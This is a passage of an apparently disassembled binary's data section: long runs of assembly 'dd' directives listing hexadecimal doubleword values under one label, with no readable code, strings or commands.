0B00060F6h, 0C54C30D9h, 0EDC00B2Eh dd 2B2F0B06h, 1EA1F9E9h, 0F297B08Eh, 0CC1B54B9h, 0C8F821C4h dd 1D70F9CFh, 9E876780h, 574193E9h, 17CCBA0Ah, 80E10581h dd 168D353h, 320167F1h, 38BED5F9h, 50582731h, 0FA3B6EBh dd 45CB5B66h, 9A85C12Fh, 8FA6FE3Fh, 4DAA0D00h, 4C2D6D18h dd 41D82312h, 0D158E002h, 0D55C5DE5h, 8D1358B5h, 0BE4E58A2h dd 0BC5BD4DEh, 7768E1FCh, 5A71E22Fh, 0DF586572h, 0DCE2D759h dd 990886h, 4059B9C6h, 7E256835h, 41ED7275h, 782A685Ch dd 500A9F20h, 0BCBE64Eh, 9196533h, 8106C5FBh, 125AFBF6h dd 25BA68FDh, 0BFB117C5h, 5741D06Dh, 60079F3Ch, 32506856h dd 14011727h, 0F2892D22h, 747A7B5Ch, 0BEFDF3B5h, 87037DCEh dd 31DDF7EAh, 8D526A7h, 7210E90Eh, 0CBBA32FFh, 0C5305926h dd 9BFEB9DBh, 0DA2F2DBBh, 99C1025Bh, 905E2A1h, 4BE72157h dd 0E0CEB210h, 9511A036h, 0C2098246h, 6762F60h, 5D30E84h dd 501844C3h, 2B0A835h, 29013197h, 1982DDF7h, 68016292h dd 86337DD1h, 91097F58h, 0E3003F32h, 454D54CDh, 23C5840h dd 0E90ACB70h, 47D448EFh, 7D01C262h, 2F667E42h, 576F682Fh dd 0E858DB19h, 0F1CD4686h, 0EA2B78FCh, 0EA2F4429h, 0C4B05C31h dd 421C9832h, 22695635h, 7154F209h, 7549632Bh, 0D425F65Ah dd 6911FC3Dh, 5CCF29DFh, 0B620B4Ah, 740B1976h, 92095687h dd 5C7C29Dh, 0F5164ADFh, 96DE2F02h, 442D61FAh, 7700929Ah dd 9726954h, 246CFF81h, 7FB3D16Bh, 9E225A4Ch, 94F205A8h dd 0B88068C8h, 0C283260Ah, 0E1B3E90Bh, 0F121FE62h, 40C34820h dd 6819AD41h, 604B1AE6h, 4048CE28h, 0A08EBD4Bh, 985BD831h dd 0A23D4E14h, 0A7148BE0h, 5D5B5D43h, 9EAB81B0h, 76C6A9D0h dd 5AFB7A14h, 7F228A8h, 3E505B31h, 0F9074AF5h, 0EA73E02h dd 24B4A5Ah, 3FAE39BBh, 17BA7221h, 53171016h, 644390E9h dd 0F9501625h, 0D3D8486Ah, 20CC2752h, 5013DDCh, 417E7788h dd 9931E861h, 0EA078A62h, 8C1A25B8h, 1804370Ch, 0FA014AB0h dd 8133EC4h, 5F7A8900h, 1305130Eh, 40BC63Eh, 9236ED42h dd 7462F754h, 0B566107Dh, 0DFCB95FAh, 30647E88h, 18BA5205h dd 4FC2BC54h, 0B155E881h, 1807856h, 59CA2847h, 230C8E68h dd 7BB70387h, 9804E7C0h, 65FE06EFh, 50287CCFh, 171882BAh dd 0C8C7D11Bh, 0BD036B13h, 3A1BF1ABh, 16D3A4F2h, 0BA0E8454h dd 5081B265h, 0CA7B5EB3h, 0C7F6035Fh, 252B96Dh, 8E13BDE8h dd 0E86A316Ah, 456AFDF1h, 0EC5B9C10h, 0F40137CFh, 88C0825Bh dd 9E227570h, 680775CAh, 0B7E80294h, 33222CC2h, 7FDA1340h dd 8447C181h, 5F07184h, 2FE2BDh, 0F5813B59h, 1E9814D4h dd 3390759Dh, 34B0E5C1h, 4713CD7Ch, 5F0F521Ch, 30937D6Dh dd 625AA700h, 0EC013656h, 0D6BF0B57h, 0E05D5310h, 13D0EFD7h dd 0BBC5568Ch, 78645E49h, 6FBF997Dh, 8807CFC5h, 4C5B5650h dd 93F779ABh, 0D28B6D26h, 8724E048h, 16E442E4h, 85A9B22h dd 25E80EB5h, 5D002DC9h, 27E1B508h, 0D82B0CB5h, 0F7023B15h dd 0E196BA4Eh, 5E65B510h dd 201172A5h, 8380F406h, 87015849h, 0A7B9BA31h, 8A21CE78h dd 70C48007h, 0D6F6011Dh, 7ED5E680h, 943DA6F6h, 697399CDh dd 148206A4h, 84098173h, 2FE34FD7h, 40E09740h, 0D377F66Bh dd 58F1DD64h, 30D8BCEFh, 52500D56h, 88D013B2h, 85C3B9D4h dd 0C1E27195h, 18F7E507h, 24AB3F89h, 3CC355DAh, 0B4D0280Eh dd 0EE48C281h, 0BC35124h, 5E3C158h, 5B1E755Ah, 0D7EC937Bh dd 0D1BF282Ah, 86DC5A1Ah, 9A22D76Bh, 22753B04h, 0B3C56CDh dd 592F9EE6h, 0EFB0DA47h, 0EC228ACDh, 0BDD5C07Eh, 6F0D5D08h dd 0E10B5F90h, 0F44F105Bh, 5172801Bh, 0C6E93736h, 68014091h dd 7841206Ch, 0E0CE88Bh, 0B510FDEh, 0CE0BC955h, 0AC84F77Ch dd 5B6FF0D0h, 8CA88B5Fh, 5E954E0h, 0CD2084B4h, 49687609h dd 8867793Eh, 8AA00EC4h, 50D2B204h, 88317B0h, 413A25F1h dd 0C8B508F0h, 178EAD70h, 0AD29DC01h, 5DD80737h, 0FAE303CCh dd 0C7BF2773h, 77FD5852h, 715F7A99h, 880D65EFh, 975A251Bh dd 3AB34C44h, 96725EEh, 94FDA64Bh, 58C625F6h, 0FFA544F9h dd 0C1B5094Eh, 59086830h, 0D596DF9Dh, 82521096h, 0D79A6E09h dd 72A05330h, 5492B9B1h, 264BB3AFh, 833CBB56h, 0BE45A776h dd 760B5038h, 0EB7E0922h, 887F292Bh, 3E280816h, 7207BF07h dd 0E7D33860h, 606CB2D3h, 14EBEF96h, 0BECF18F8h, 8428FC4Ah dd 70FA5146h, 56DB689Ch, 2EAA3BE1h, 77404BFDh, 0DEB78EB1h dd 0E7680266h, 390DE965h, 1788ABFCh, 19B90188h, 2F62CC18h dd 50E201C1h, 512E8204h, 9882FE57h, 84C2A0E1h, 470FD7A4h dd 6530F743h, 88ED4FFDh, 0BF7046D0h, 41E8B092h, 5CB753E1h dd 0A5FFC97Fh, 4FC9C616h, 14F05E61h, 763C7E90h, 0CE14950Eh dd 3670E6F8h, 0FA947CB5h, 68571EA0h, 71364BDh, 0B6AB5F02h dd 795F7E07h, 27785BA3h, 0DF7C295Ch, 5FBDE958h, 2576BBFCh dd 0DB574873h, 1FBD55B0h, 4FE14B1Eh, 3A0C2D66h, 5B2C42C6h dd 0DEA5A08Eh, 0D32D8C94h, 0E96841F6h, 0C0CC3B26h, 516F5588h dd 0BBB3652Bh, 0CBC13721h, 0FA64BB05h, 27F5F4C8h, 0ADF07274h dd 6D420143h, 0BE80F15Ah, 97F30007h, 890148C0h, 23E916DAh dd 2F0EA265h, 7D9812BEh, 2CE91DE8h, 0B82600B5h, 0F411DACh dd 0C0834810h, 74642541h, 3805E8E9h, 6A32E1EDh, 494DE7F4h dd 0AB926E59h, 0B01199E2h, 22257637h, 0E5987E6Fh, 0EC4412BDh dd 7CAC4A92h, 567FE9F1h, 0F72F72F4h, 2B491494h, 890B60A9h dd 0B6DC7AD9h, 69E15664h, 10A2DA7Fh, 5C1D4B25h, 386CC956h dd 0AA9E9B5Ch, 0FE7224BCh, 5E0D1902h, 3B38E106h, 220BD72h dd 0E5111863h, 0AE445E05h, 0FB29BE00h, 2E67BA52h, 0CDB4014h dd 0BB1AAC43h, 0F2A8FD0Fh, 9B1645AFh, 0BAFC65BBh, 975CE58Ch dd 2152C716h, 36F716B9h, 35A1E3BCh, 0A98C7A7Bh, 527549EEh dd 28F1E18Bh, 30CAE985h, 8BEF3024h, 0C2680AC7h, 0E9842311h dd 65BA6CEDh, 0A45C8122h, 540C063Fh, 14B8E325h, 0A0891D45h dd 0BEFBCF17h, 0A9F1C122h, 0AF7D5BA7h, 57152957h, 2C8147E8h dd 4282749Fh, 6CD44E6Fh, 0E61B3D60h, 0E7C1FB4Bh, 981AA4h dd 49F18077h, 34B0C888h, 59AD8640h, 3090753h, 6C400174h dd 6C4FC97Fh, 0CD1326E8h, 485FDAA6h, 0F2D916D9h, 5EC5FA47h dd 2889ED30h, 6010DDFDh, 88165BF6h, 0C3FF59EBh, 6043F08h dd 3C4BE9C9h, 49A5B2ECh, 0BBF0CC4Ah, 0E014FF97h, 0F735FE32h dd 0D3B341D5h, 71F54781h, 7F0D821Dh, 0BA89F0E8h, 759D6DF0h dd 83614E3Eh, 47FA680Ch, 7CDE5DC2h, 7D9EDF5Ah, 7E93FB81h dd 18CB93EDh, 0F42F457Eh, 477CF2A1h, 9152128Bh, 6973DA2h dd 30C1BAD9h, 0E16C4A5Fh, 0FD8ACDD6h, 0BC128B8h, 0DF5B0B8Bh dd 0EFD7B892h, 580A2659h, 411F3CB9h, 0E18118D4h, 434C7D61h dd 33132Ah, 8464EEB1h, 0EA3A2D40h, 7E3C2F52h, 787489A9h dd 7200A6A9h, 0D480143h, 0A77F3C00h, 781A3573h, 94117A6h dd 486FB6C7h, 18E32621h, 7D2802A5h, 0A9D8090Ah, 79C7225Bh dd 474FC360h, 0F82AE7CCh, 7C0841AAh, 0E0A07A7h, 0CBD05F7Ah dd 98301A10h, 97012747h, 0BA21DAA2h, 5E8450Fh, 0C05AD3BDh dd 10526BA9h, 82BC2D3Fh, 0F0296766h, 0E9078105h, 59647E95h dd 0D0F9E4CFh, 5939EA08h, 29096C5Ch, 0A7E55FF8h, 339E0501h dd 98D44D23h, 28E41621h, 0C2F811E9h, 51DBF702h, 38C143B8h dd 0CF917A72h, 7155FDEh, 0B3A8B74h, 0BD88B4D7h, 47977F16h dd 0E877A5F3h, 85234A87h, 0D3344E09h, 0E139166Fh, 2294D6Eh dd 455A14ACh, 2625990Fh, 0EE7C4518h, 58C2B046h, 9D94B006h dd 0DD309C01h, 1C0E305Bh, 5734507Ch, 958257C9h, 2889DFF6h dd 648DD357h, 5A23BDF8h, 2FFEA5C4h, 0F14A649Bh, 97965AC6h dd 0DCD0C841h, 0CEB73287h, 9B39290h, 69397BACh, 0A9CDC17Fh dd 0B0AD5805h, 7697BBAEh, 0B80745CBh, 0CB8A4BE8h, 582CD14Bh dd 5010A50Fh, 1E5E5FF5h, 0A4D9E7B7h, 44923F0Ch, 49511CBFh dd 94163D6Dh, 3510212Ch, 0F72EE060h, 9F68D60Bh, 0BF4666Bh dd 321D5846h, 873229FFh, 8E5260BDh, 9AE284E6h, 0BB4187B7h dd 39FF44A5h, 57057FAh, 9E992D6h, 682E206Bh, 1D98DBE4h dd 3D2C7B0Bh, 73170D41h, 0A3EDB6EFh, 5AEC242Dh, 66415A4Ch dd 8CC3A64h, 94AC7368h, 5B766273h, 8611E901h, 7D5B36Ah dd 75E5DC9h, 553752D2h, 575AE754h, 0F789A856h, 0F57504D2h dd 721745AFh, 3739FBA7h, 9C5693F8h, 6234A2E2h, 0CE30ADBFh dd 30B73BD8h, 0FCF6805Dh, 2DAA9088h, 82F3511Ah, 0CE8A11ADh dd 0DDF74D8Bh, 0D8495800h, 0FD98963Ch, 4E42AB41h, 0EB13642Dh dd 0C8411D32h, 0C10197D9h, 0D72470E6h, 5D620995h, 0F693ADBh dd 495A7124h, 8478E3D7h, 3FB1BD00h, 53B85616h, 98A9FAC0h dd 53F5E88Dh, 0E87EC823h, 78799FC3h, 0A088B962h, 7978F7A7h dd 496398CAh, 2D077532h, 0AAD53DD1h, 51BEE01Eh, 114F050Ah dd 0B07B5DE1h, 73545CD3h, 8AC95512h, 24585148h, 0F4CA081Ch dd 0AD2C4D2Fh, 8D554119h, 48207836h, 9453AA3Ah, 0B28B03B7h dd 0B62843D8h, 0ED67F178h, 0E6626D06h, 0E5DC779Bh, 5D7DB881h dd 0EC7A7B24h, 0BBD918E5h, 3ACF86A1h, 0CD5FD1F6h, 17423953h dd 4D3C40F2h, 0F0809BFh, 0E200091Ah, 425A3DEBh, 37010198h dd 0E914CD6Fh, 0DF785989h, 618EE2E7h, 2055784Ah, 2F200CEEh dd 8044F079h, 8F124A57h, 64BF295Dh, 280C1AFEh, 4F401C12h dd 0B4833142h, 0E54FF8AEh, 68EAED0Bh, 0B66CE151h, 6E4E60DEh dd 0B490368Dh, 5263E6Bh, 1BA8996Ch, 436509D6h, 726BD010h dd 330412Eh, 0EB370A02h, 379E4345h, 3116D506h, 3FA83F27h dd 25CC69B5h, 57B52567h, 31BCA377h, 76A13DDh, 10EDF479h dd 2FAF0604h, 9281EDC1h, 7780FBC7h, 7C012DEBh, 59BD5F62h dd 3BE9851Fh, 0E4DAA439h, 0E654405Eh, 464F7036h, 6465D0BAh dd 0BC2649E1h, 91080A29h, 8A422DE8h, 0CBB61E60h, 7B547582h dd 4D416806h, 0B34E2567h, 544F8B1Ch, 0AEB4D2F8h, 4A5F25A4h dd 6A7D8959h, 549CB0C4h, 0EBCCF7C3h, 0C1DAE1C8h, 644B0F8h dd 4F883BF4h, 0F748F829h, 0A928265Ah, 5A794A20h, 3E2BEF57h dd 3C3BEF55h, 7EB26201h, 5D8F701h, 20FA1DCDh, 0C08FB26Eh dd 9A0DB0C4h, 40DA9F05h, 0B435E69Ah, 0E2F043A5h, 0FE2F2CA8h dd 854C1357h, 16CCAF12h, 0E9824F29h, 4BA381CAh, 81F82E0Dh dd 0CD3A979Dh, 10846CDDh, 512BEFE9h, 0F1D14180h, 0FA1B7B39h dd 1D81852Ah, 2481699Ah dd 363BED25h, 0DFF9E86Dh, 2BE5CCFh, 764D545Ch, 0D3890936h dd 0DE7A1F82h, 0D7FF2D05h, 0F455090h, 7AB03A03h, 0CE5C7B40h dd 432465E2h, 0AD3A8444h, 0D1150C1h, 75DF2613h, 9D94EAh dd 4D6A71C8h, 0A227E97Ah, 132AF9FFh, 2621D850h, 6894745Eh dd 424B9CC1h, 5DA485C6h, 2B1336E9h, 0D4E7FCCFh, 600810B8h dd 48848448h, 0E9D8EE37h, 113B440Fh, 97056640h, 21BDAFF2h dd 0FFCAE29Bh, 0C674BB3Ah, 0CA6112ADh, 407078D0h, 3329C2B7h dd 8F0AEF26h, 216C2200h, 0C2DEF71Dh, 3DC2E904h, 0DF8226DFh dd 0DC3AFDFAh, 0B72E5375h, 2FA623FBh, 0D008422h, 29DF0537h dd 3D218625h, 0C4014730h, 2D61E340h, 67F3CCC2h, 0FD2F0DBCh dd 0D39F5896h, 4E7192F6h, 87C558EEh, 38CCADE8h, 9FFBBA3Ah dd 549D131h, 48C557C4h, 0DC25FE2Bh, 57312738h, 40247056h dd 4CE88880h, 0E4163659h, 0A236AC75h, 68C5555Dh, 2C18380h dd 0C19BD4E9h, 0BC6E0E35h, 53E74241h, 40BD6BF2h, 121AE678h dd 0CF5E25A5h, 0C7B65B34h, 0FB366812h, 89D7FDE2h, 0BACC30DAh dd 7A3CB605h, 0C1FF5018h, 0A74D05E8h, 0AFC55790h, 0C59BE963h dd 0D5F8934Bh, 9926CEC7h, 0DBE872E5h, 8C30AF4Ah, 902F60B2h dd 11DABD04h, 8153C4BFh, 28F71AAEh, 72AA5A2Ah, 77250A81h dd 3D6638Bh, 7CF826A6h, 3C78D205h, 27EBD436h, 51FA005Ch dd 805C5CB1h, 0EA3A7399h, 2E7D99CDh, 72382955h, 38651105h dd 1625BF06h, 47E8BABh, 76E9DD87h, 2754B8EEh, 583BDC53h dd 0C45E67E9h, 0E0438D22h, 5B5E3CEh, 0E90AA245h, 35BFDC8h dd 22696FCEh, 0C24C0E1Ah, 5316AB71h, 884BFA73h, 0ED0FE8D8h dd 6A291E32h, 3979C89Ah, 0A0084F26h, 0FE5E1260h, 0A64133F6h dd 58B8006Fh, 33E7B951h, 5F6C9427h, 4B4A09E8h, 56735427h dd 0FEBF08D6h, 4276126h, 0F8A9798Fh, 0E9578F84h, 0DB0893D3h dd 2868000Bh, 5845BD22h, 3FF2D30h, 0B7A633E9h, 0EB035A92h dd 0D50212DFh, 0B2B0E1C3h, 5C8C840Fh, 4158ADAAh, 0BB44F4EAh dd 71A0115Eh, 204678E2h, 67076A74h, 4A308E65h, 0B1E20719h dd 7F02913h, 0A841EA28h, 0CBCAC009h, 6660DB7Fh, 4803924h dd 5015991h, 12B3B410h, 0CAE3EF88h, 61D8523Ch, 0DB785719h dd 0B6362A9Dh, 265027C4h, 17801B20h, 789D2BE8h, 692CB15Eh dd 8A58FF38h, 30C3D682h, 0A24C41CCh, 0C30C3267h, 0C43A8672h dd 85974E57h, 0BCA4BB0Bh, 8B841FF0h, 0C03F966Ch, 0EC88504Fh dd 5875E2E4h, 0DFF9D34Ah, 360EB97h, 9AE5A1E9h, 3B40B3Eh dd 43002C80h, 74E312B8h, 5D000CDFh, 0EB214EB7h, 16374FE9h dd 663CEF4Eh, 5F442FE9h, 48552192h, 82B165F9h, 0D175576Ah dd 80F2922Ch, 80C3FE07h, 6C2E333h, 0DFCBC2F1h, 0F3D8B163h dd 0D9092885h, 70D1F65Bh, 0FE0AC669h, 40F008C9h, 0DC7809B7h dd 46FC2DFBh, 94FCBA50h, 74DC8222h, 0F84027D2h, 410B3FC3h dd 0F1DE0910h, 24EA48Fh, 61FD4FA8h, 22D78562h, 0CAB5E93Eh dd 134ED7C7h, 20C2E4B7h, 81034839h, 27BD1CBh, 0AA0C0972h dd 0B00E66Ah, 8E0B8CC3h, 78293E2Dh, 9D1420D9h, 0ADEE897Eh dd 0ABCF4A6Fh, 9F607895h, 0A168ACD1h, 0B092A997h, 8004F7F7h dd 3601121Ah, 0EC812F1h, 14AB432Eh, 82DC413Ah, 83015AF1h dd 0E48201C6h, 0BB0BCE4h, 0EE95D443h, 68DD5830h, 317B4B2Eh dd 148D171Eh, 96B6A6AFh, 9470CC0Bh, 0BC549703h, 0C830E784h dd 0E90922E7h, 40A06C96h, 0E38620F3h, 16E9F64Ch, 31EE6741h dd 44D0B7BBh, 64A7C155h, 0F17FC26Bh, 1672ADD4h, 20A4E12Fh dd 0B3E92874h, 0BBA0B485h, 9D379D96h, 8EF330F4h, 0CF31704Eh dd 1B309368h, 4718913Ah, 22D41038h, 3902C72Dh, 45E95DA7h dd 0ED93A064h, 7BEB0A34h, 54B02C22h, 5077807Bh, 0D8016B06h dd 57070550h, 8EA6802h, 0D85F592Fh, 67C0BF76h, 474FA73Fh dd 7668BBF0h, 0BD4EA8D6h, 4FE47412h, 0FD012C60h, 308A1109h dd 0D741FD2Dh, 0E1A83F05h, 0E90B9748h, 0A0C94A13h, 0CD673052h dd 83F75B28h, 0F3B7F227h, 2118929Fh, 62786E79h, 60FDC9F4h dd 29EB76Fh, 5B66F808h, 60DDD22Ch, 4E301601h, 0ECF6F0h dd 0C049B050h, 93406E0h, 30C6E99Bh, 42C824C8h, 4C119526h dd 19392E02h, 81897710h, 61B633D0h, 0F7186504h, 0B70149ECh dd 21D1C0CDh, 0BBB72EEAh, 35E2D230h, 185BA23Fh, 20230B0h dd 0F221DBB2h, 84E831E9h, 0DAF294BDh, 0EE890D13h, 285FDA08h dd 0D37F4AB5h, 0FEFBDF7Ch, 19C41E5Ah, 0C1B4EAFCh, 6B65CD16h dd 33D9A531h, 6D03A322h, 578544D5h, 4725D3E3h, 8A0565Ah dd 0BF02C093h, 41452155h, 6F75F6E1h, 0BE2DAA2Ah, 921D617Fh dd 68A4508Fh, 989F52C8h, 4C4010F7h, 4E2F6EE0h, 72B4B560h dd 6C4B27B8h, 1B282CD9h, 4F9BBA7Bh, 7F4B2D5Dh, 5D962F5Ah dd 1680AA84h, 0CE1504Ch, 2DF401B9h, 0B1BA3BAEh, 313AE074h dd 57AADAB5h, 0DC482C5Ah, 0F9468F04h, 41E3015Bh, 0FD315CE5h dd 0BFA5852Ah, 95173DCBh, 0C28AABD8h, 66A56830h, 3C5C22BEh dd 2FEE0C0Ah, 7DC60A03h, 65F9F56h, 3F154653h, 31A40245h dd 0C1970895h, 69C48001h, 0AF3EE688h, 7352CB44h, 0D6B9B3EFh dd 0D818DCADh, 5FFD9162h, 8AAF894Eh, 0FB291F7Ch, 0D9CC5796h dd 7AAA800Ch, 594F10EAh, 0C02F8EFDh, 0EA5A2484h, 0CA978FE8h dd 51D651A1h, 7EBE2C5Ah, 35B2EFB8h, 0E92218D7h, 0BAA14ED7h dd 7D7EB171h, 0A3F48251h, 9946C960h, 64688438h, 0B031EA7Fh dd 0D707DEFCh, 871E99Eh, 0BEA1C193h, 0DA03B26Fh, 3AD25F07h dd 81475800h, 217480E7h, 5FB7B00Eh, 4885E384h, 0DF5D1757h dd 0EC6DD9EFh, 5F95422Ah, 2FD1392h, 56431059h, 0D54D6287h dd 0BB74C009h, 0CF689D1Bh, 0C10055F8h, 14EA8179h, 0D32C7011h dd 7946FB6Eh, 0C28FE01h, 4CF46BE6h, 98BD65DAh, 806F7879h dd 7A07B8BFh, 4F474C59h, 1120A61Fh, 5704A2E1h, 0E9C290FBh dd 0FE597D5Eh, 40BD96BCh, 830727FFh, 975F3C73h, 4910F41Ch dd 0FBB95101h, 0ED0D4104h, 0F7D8744Fh, 0DF68E10Ah, 9EC2FD4Ch dd 0A1F0092Bh, 6586F2B7h, 0F8D83855h, 0B2AE6EFh, 0C90AFC67h dd 0ED329784h, 8453CFF0h, 6A9772Bh, 0CEC800D2h, 816AF33Ah dd 507AE607h, 68302592h, 0E8994DBAh, 0E8C11C58h, 727D4005h dd 0D0F733D4h, 0FC212D4Eh, 642427E6h, 59545DBDh, 0A3365D86h dd 790BE704h, 0FF3742h, 0D3D8DCD7h, 0FA0C09A2h, 0B4AAACE9h dd 0B623EC40h, 36752F64h, 2D44908Bh, 2AE4AC32h, 7CC89280h dd 0B7443180h, 42EAF49Bh, 0BB2CFB78h, 72051909h, 0A63CDD31h dd 0F00113D8h, 977B8B8h, 791DD368h, 996283AFh, 5F07799Bh dd 0A3E9515Ah, 778860ACh, 147259E5h, 63176809h, 0AA89D579h dd 0DD7E3233h, 5C9BE950h, 0DBF5781h, 7A605B7Ch, 0B7494A31h dd 6168168Ch, 9BA2A64h, 8C2BC874h, 692C4B5Ch, 528C4017h dd 0F3290952h, 7092E978h, 44467D60h, 8E854ABCh, 18C08068h dd 783C32BAh, 9E2F862h, 33519C8h, 44139C64h, 1FBB602h dd 0B6F514Bh, 3AE56E0Dh, 0D9AF0805h, 1FA42EA8h, 0C1211405h dd 781BD94Eh, 12F87DF9h, 0A84B23FDh, 3D4DC1BAh, 67C82FB0h dd 4DACC95Ch, 0B8052920h, 385CCA5Bh, 1D83FD7h, 4D26852h dd 13E2A40h, 56449D66h, 0E971643Fh, 5BE1B649h, 0F84E518Ah dd 253F852Fh, 5EBC32FBh, 0D7DAD956h, 0B42AAA30h, 2646FF82h dd 0C2C6E226h, 0C23BCB88h, 0B4E48519h, 4777FA02h, 41EF2957h dd 0FC2EC2FDh, 240C61B5h dword_4F6844 dd 0FDDE687Dh, 2F089B28h, 2F4902D5h, 0C981006Bh, 43D4E15h dd 0ED60984Bh, 2FD03016h, 0B3F4885Ah, 48DB5842h, 0A1206F9Ch dd 45353655h, 2B90F701h, 0CA055F9h, 67542EA9h, 0FECD3489h dd 0C8907E0Bh, 720EFC2h, 12F4249h, 8548EC7h, 0AAF50C69h dd 6362C64Fh, 0CABE00E5h, 2300BA13h, 8536F681h, 4801567Fh dd 60777BF1h, 2CF76124h, 8B5BB7BCh, 34874CE0h, 10649CAh dd 0F0A6C88Fh, 0CBAD2FF4h, 94E7D10h, 0A5101368h, 0CAF0ED52h dd 4E45FC0h, 0F2620953h, 1257328Dh, 1000B83h, 0E7EBBBBFh dd 5BD9E09Fh, 6592E11h, 0A37C3C10h, 0EA6E2508h, 0F0800761h dd 0CB61FE88h, 0DD28E50Ah, 333859FDh, 53E1BA0Fh, 525D6B29h dd 0F6AF80D1h, 32390479h, 3BCADE9h, 0C7F3285Ah, 0A1B4D1B5h dd 166D18EDh, 7BE29823h, 0F235902Dh, 0DCCA0659h, 5A54210Eh dd 2583C8C6h, 0A4F65B92h, 234FD453h, 946272AAh, 2C1D9490h dd 0B1F8479Dh, 3535E907h, 97414019h, 0FA4B2205h, 0C5AC00FFh dd 4D53A3Fh, 82C4FAB7h, 17C97308h, 22F115E9h, 903AC737h dd 787B55C5h, 0C183C1B5h, 0AE060844h, 7B9C0D4h, 264A18EBh dd 37DEB345h, 93F2453Bh, 7AD4457h, 1F2F1650h, 4B9336E2h dd 66697C02h, 0F6798E54h, 0C0D940D1h, 78005E1h, 0CA3022F1h dd 7E29359h, 0E976F2C8h, 99E18729h, 7C640038h, 5BD931C0h dd 0E0CE5C09h, 6661F600h, 0B1BB0744h, 6C2B1D02h, 5E5EF331h dd 0B27D2DC1h, 727D821Ah, 0DBF70380h, 2A9244B9h, 41F36B8Ch dd 0C7C22E6Fh, 8301DC42h, 70316467h, 97BEA5DBh, 19E5CB06h dd 0BA233F5h, 79F8A954h, 0FE2D0BF7h, 0A2D0BC0Ch, 2E8D4121h dd 3C8B5F44h, 8497E6EAh, 20BBC3B0h, 55BF4DA9h, 8139FB99h dd 499D16A3h, 0A23B1BE9h, 0F78985FAh, 61BF6AEh, 14FA2B0Ch dd 0E0F39790h, 1409643h, 952FF24Fh, 8E018C98h, 89E9C1C9h dd 0A0A42078h, 906D373Fh, 9D0757Dh, 51E933A3h, 0FC29F024h dd 0F0FA9C27h, 4D1C0D0Dh, 2CE90E01h, 4F680A50h, 60CC9613h dd 77804AAEh, 1E3F3890h, 0E94F8429h, 40E5C3BFh, 0BD0052D5h dd 5A3240FBh, 0F47C0Dh, 72E3CE81h, 3B69A43Bh, 0E67B0BEEh dd 45A07F79h, 461261D1h, 2C15CBA1h, 822C31E9h, 57D204F8h dd 2C2ADC96h, 0E9EC5150h, 0FC27992Dh, 568E7DFh, 512CCC40h dd 63011FF2h, 83595C73h, 0E84301C1h, 6FDEF934h, 4F2BB340h dd 293325ADh, 752724FCh, 0BB810CCEh, 8E350063h, 7E180F93h dd 8086C729h, 0C495185Eh, 0F22322DBh, 60ABDA4Eh, 7AC3EB54h dd 0C698589Ah, 75259CB1h, 58ADD6B6h, 0ECB95180h, 0BC3AB0F2h dd 7ADF0D9Eh, 0A5C06F7Fh, 4FDAFCA7h, 0E305AAE6h, 0CFD1827Dh dd 0A7CBF6D3h, 805AB7FAh, 0CAFE45FEh, 25DB2E68h, 68665FAh dd 0BD4F6B3h, 60BCD997h, 0D2F6A9CAh, 686604C0h, 25E9620Ah dd 26A36040h, 9926FA1h, 0C387465Dh, 0B27FCF18h, 36095076h dd 0DD17FE0Ch, 80D5362h, 8114040Ch, 79E54425h, 962CC50Ch dd 44B64882h, 64F80BE0h, 1C002FE0h, 3ED9632Dh, 7A9FBBB8h dd 0EEFEBD23h, 888576DAh, 0BE02612Dh, 70363ADEh, 96B01DEh dd 0E6C14754h, 31628203h, 60505B10h, 0E346D5Ah, 0D1E92E55h dd 0A2F34AB0h, 391BDE81h, 0DAF5F82Dh, 0C5010DC9h, 0BBE986CEh dd 0C20AB76Eh, 851E16B4h, 7E206609h, 0F03FE458h, 579F5CF2h dd 0DC967CA2h, 4FB1FC57h, 0E2F3A22Fh, 3C49781Ah, 0F1E061A2h dd 0A874C45h, 0A04389C1h, 0C0E9CA31h, 0CA5D9DAAh, 0BD0FD769h dd 93E89E85h, 0D792DF30h, 263E60FEh, 50929389h, 0FF87729h dd 2A5F9531h, 0CE209038h, 9295E27Ch, 0C41C5782h, 4B68B0C3h dd 724B163Eh, 0E27BB5Ah, 89BB8185h, 34FD3D5h, 4D04F5F2h dd 32D42E9h, 0B20306BBh, 0EEA3414Eh, 2CB36803h, 4CE7BF84h dd 9D799F78h, 57402DC2h, 8968CA5Ch, 5FFDDC13h, 84EF80C4h dd 93BE84Dh, 5F5062EEh, 1216C2C5h, 943907A1h, 3913AB94h dd 1CE9F55Ah, 5E13B31Dh, 0AAEE3C0h, 0BF33E00h, 23712153h dd 0C190DB27h, 0C25F3DE9h, 7233765Dh, 0A8204678h, 0C95EB538h dd 7D44C6A0h, 60014170h, 29136E11h, 95A032F3h, 834B401Eh dd 2001EE30h, 0FB2DA6E4h, 415875DFh, 0DE1F4B4h, 3E8F5018h dd 2F37B10Ch, 0A0FA26F3h, 941263E6h, 4EF662Fh, 0B8FB8946h dd 656EAD04h, 0A388FFD5h, 0D72FFB49h, 3F7E01D8h, 1DE10022h dd 0CF87480Eh, 3A08C104h, 0C71BBE84h, 21EC81Eh, 86E4DAC2h dd 4310F062h, 0CB5A25E9h, 0AE4EB1F2h, 4EE1AA85h, 0E145ED2Eh dd 286BF529h, 0F1EF45EFh, 0F8D2D17Eh, 3B67ACE9h, 7891F34Fh dd 9C215AA9h, 9C6AC1F4h, 0EA734F9Ah, 0A816762Eh, 516DDC70h dd 0CA9D8AF8h, 691A71BFh, 9EF6405Fh, 27B5BA39h, 0C1D6B668h dd 0DC9D3689h, 7FC0CB0Ah, 9C59FAh, 0E8391384h, 0E6D500AAh dd 0E929C2ECh, 0B3904D2Ch, 8454538Bh, 75CD233Eh, 1E5E2330h dd 6D39F507h, 74B653C0h, 25F18080h, 6CD5286Ch, 0B3C89F6Bh dd 719784AFh, 0B1D1C95Ah, 3EEF443Eh, 0E12FBC84h, 0AE3AB802h dd 818AD1FFh, 44570ACBh, 8612058h, 0DA06DC27h, 12CE5BF8h dd 278FBF52h, 0B7C6E918h, 8A98BE56h, 11BD5AE2h, 248C580Bh dd 0F2918EA0h, 5FE3F4Ah, 56CF7B69h, 0FC2F8B9h, 846EA22Eh dd 1055573h, 56AA03DDh, 0D2D75713h, 64DE7631h, 808C6050h dd 23136BBAh, 22AE2927h, 0DB5E4262h, 4E0F6207h, 28D9BBE0h dd 0B0955F96h, 0E95C4BE2h, 0C04A61B3h, 247008E2h, 5AEAE68Bh dd 5B88E3C3h, 0E90BF1ECh, 0E194D786h, 7EADCBBCh, 43F62791h dd 7217B1C8h, 0CB4C6DE3h, 24268010h, 9554A65Ah, 687827F7h dd 99AB7CF5h, 0A95FC3Ch, 